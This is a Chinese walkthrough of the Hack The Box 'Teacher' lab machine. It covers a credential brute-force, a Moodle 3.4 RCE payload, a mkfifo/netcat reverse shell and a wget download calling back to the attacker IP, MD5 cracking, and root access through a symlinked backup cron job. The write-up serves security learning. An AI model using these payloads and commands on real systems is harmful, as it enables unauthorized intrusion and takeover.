【HTB系列】靶机Teacher的渗透测试详解
字数 1814 2025-08-15 21:34:01

HTB靶机Teacher渗透测试教学文档

1. 环境准备

  • 攻击机:Kali Linux (IP: 10.10.14.50)
  • 靶机:Teacher (IP: 10.10.10.153)
  • 工具准备
    • nmap
    • curl
    • gobuster
    • Burp Suite
    • pspy (进程监控工具)

2. 信息收集

2.1 端口扫描

使用nmap进行初始扫描:

nmap -sC -sV -sT 10.10.10.153

扫描结果

  • 仅开放80端口
  • Web服务运行中

2.2 Web应用分析

访问http://10.10.10.153,发现静态网页,包含以下页面:

  • Courses
  • Students
  • GALLERY等

关键发现
在GALLERY页面的源代码中,发现第一个img元素有异常:


其他图片正常加载,唯独此图片无法加载。

3. 初始渗透

3.1 可疑图片分析

下载可疑图片:

curl http://10.10.10.153/images/5.png -o image.png

检查文件内容:

file image.png
cat image.png

发现:文件不是有效图片,包含提示信息:
"Forgot Password? Well, I can't tell you that but I can give you a hint. The last character is #. You'll have to figure out the rest."

3.2 目录爆破

使用gobuster进行目录扫描:

gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.153/ -t 50

发现目录

  • /phpMyAdmin (访问被拦截)
  • /moodle (可访问)

4. Moodle系统渗透

4.1 凭据猜测

根据图片提示:

  • 用户名可能是"Giovanni"
  • 密码最后一位是"#"

使用Burp Suite的Intruder模块进行暴力破解:

  1. 加载字典:
    • /usr/share/SecLists/Fuzzing/alphanum-case.txt
    • /usr/share/SecLists/Fuzzing/special-chars.txt
  2. 根据响应长度差异确定正确密码

成功凭据

  • Username: Giovanni
  • Password: Th4C00lTheacha#

4.2 版本识别

通过"Moodle Docs for this page"链接分析URL参数,确定Moodle版本为3.4。

4.3 漏洞利用

搜索Moodle 3.4的RCE漏洞,参考:
https://blog.ripstech.com/2018/moodle-remote-code-execution/

利用步骤

  1. 启用编辑模式
  2. 创建新活动,选择"Quiz"
  3. 添加新问题,类型选择"Calculated"
  4. 在answers字段插入payload:
    /*{a*/`$_REQUEST[sdfz]`;//{x}}
    
  5. 保存后访问Next Page验证payload

4.4 获取反向Shell

Kali监听端口:

nc -lvnp 1337

访问构造的URL:

&sdfz=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.50+1337+>/tmp/f

成功获取初始shell。

5. 权限提升

5.1 数据库凭证获取

在moodle目录下查找配置文件:

find / -name config.php 2>/dev/null

发现数据库凭据,尝试连接MySQL:

mysql -u root -p

改善shell交互性:

python -c 'import pty;pty.spawn("/bin/bash")'

查询用户表:

use moodle;
select username,password from mdl_user;

发现
第四个用户密码为32位MD5哈希:7a860966115182402ed06375cf0a22af

使用crackstation.net破解,得到密码:"expelled"。

5.2 用户切换

检查/etc/passwd发现用户"giovanni":

cat /etc/passwd | grep -i giovanni

尝试切换:

su giovanni
密码:expelled

成功获取用户flag。

5.3 计划任务分析

在giovanni的work目录发现备份相关线索:

cd /home/giovanni/work
ls -la

使用pspy监控进程:

  1. 下载pspy:
    wget http://10.10.14.50/pspy -O /dev/shm/pspy
    chmod +x /dev/shm/pspy
    /dev/shm/pspy
    
  2. 发现root执行的备份脚本:/usr/bin/backup.sh

5.4 利用备份脚本提权

分析backup.sh内容:

cat /usr/bin/backup.sh

脚本逻辑

  1. 压缩/home/giovanni/work/courses目录
  2. 在/tmp目录解压

利用方法

  1. 删除原始courses目录:
    rm -rf /home/giovanni/work/courses
    
  2. 创建指向/root的符号链接:
    ln -s /root /home/giovanni/work/courses
    
  3. 等待计划任务执行
  4. 在/tmp目录查看解压的root文件

成功获取root flag。

6. 总结

本次渗透测试关键点:

  1. 通过网页源代码分析发现隐藏提示
  2. 利用目录爆破发现Moodle系统
  3. 结合提示暴力破解Moodle凭据
  4. 利用Moodle 3.4的RCE漏洞获取初始访问
  5. 通过数据库凭证破解获取用户权限
  6. 分析计划任务和备份脚本实现权限提升

防御建议

  1. 避免在客户端代码中遗留敏感信息
  2. 使用强密码策略
  3. 及时更新Web应用补丁
  4. 限制计划任务的权限
  5. 对符号链接操作进行安全检查
HTB靶机Teacher渗透测试教学文档 1. 环境准备 攻击机 :Kali Linux (IP: 10.10.14.50) 靶机 :Teacher (IP: 10.10.10.153) 工具准备 : nmap curl gobuster Burp Suite pspy (进程监控工具) 2. 信息收集 2.1 端口扫描 使用nmap进行初始扫描: 扫描结果 : 仅开放80端口 Web服务运行中 2.2 Web应用分析 访问http://10.10.10.153,发现静态网页,包含以下页面: Courses Students GALLERY等 关键发现 : 在GALLERY页面的源代码中,发现第一个img元素有异常: 其他图片正常加载,唯独此图片无法加载。 3. 初始渗透 3.1 可疑图片分析 下载可疑图片: 检查文件内容: 发现 :文件不是有效图片,包含提示信息: "Forgot Password? Well, I can't tell you that but I can give you a hint. The last character is #. You'll have to figure out the rest." 3.2 目录爆破 使用gobuster进行目录扫描: 发现目录 : /phpMyAdmin (访问被拦截) /moodle (可访问) 4. Moodle系统渗透 4.1 凭据猜测 根据图片提示: 用户名可能是"Giovanni" 密码最后一位是"#" 使用Burp Suite的Intruder模块进行暴力破解: 加载字典: /usr/share/SecLists/Fuzzing/alphanum-case.txt /usr/share/SecLists/Fuzzing/special-chars.txt 根据响应长度差异确定正确密码 成功凭据 : Username: Giovanni Password: Th4C00lTheacha# 4.2 版本识别 通过"Moodle Docs for this page"链接分析URL参数,确定Moodle版本为3.4。 4.3 漏洞利用 搜索Moodle 3.4的RCE漏洞,参考: https://blog.ripstech.com/2018/moodle-remote-code-execution/ 利用步骤 : 启用编辑模式 创建新活动,选择"Quiz" 添加新问题,类型选择"Calculated" 在answers字段插入payload: 保存后访问Next Page验证payload 4.4 获取反向Shell Kali监听端口: 访问构造的URL: 成功获取初始shell。 5. 权限提升 5.1 数据库凭证获取 在moodle目录下查找配置文件: 发现数据库凭据,尝试连接MySQL: 改善shell交互性: 查询用户表: 发现 : 第四个用户密码为32位MD5哈希:7a860966115182402ed06375cf0a22af 使用crackstation.net破解,得到密码:"expelled"。 5.2 用户切换 检查/etc/passwd发现用户"giovanni": 尝试切换: 成功获取用户flag。 5.3 计划任务分析 在giovanni的work目录发现备份相关线索: 使用pspy监控进程: 下载pspy: 发现root执行的备份脚本:/usr/bin/backup.sh 5.4 利用备份脚本提权 分析backup.sh内容: 脚本逻辑 : 压缩/home/giovanni/work/courses目录 在/tmp目录解压 利用方法 : 删除原始courses目录: 创建指向/root的符号链接: 等待计划任务执行 在/tmp目录查看解压的root文件 成功获取root flag。 6. 总结 本次渗透测试关键点: 通过网页源代码分析发现隐藏提示 利用目录爆破发现Moodle系统 结合提示暴力破解Moodle凭据 利用Moodle 3.4的RCE漏洞获取初始访问 通过数据库凭证破解获取用户权限 分析计划任务和备份脚本实现权限提升 防御建议 : 避免在客户端代码中遗留敏感信息 使用强密码策略 及时更新Web应用补丁 限制计划任务的权限 对符号链接操作进行安全检查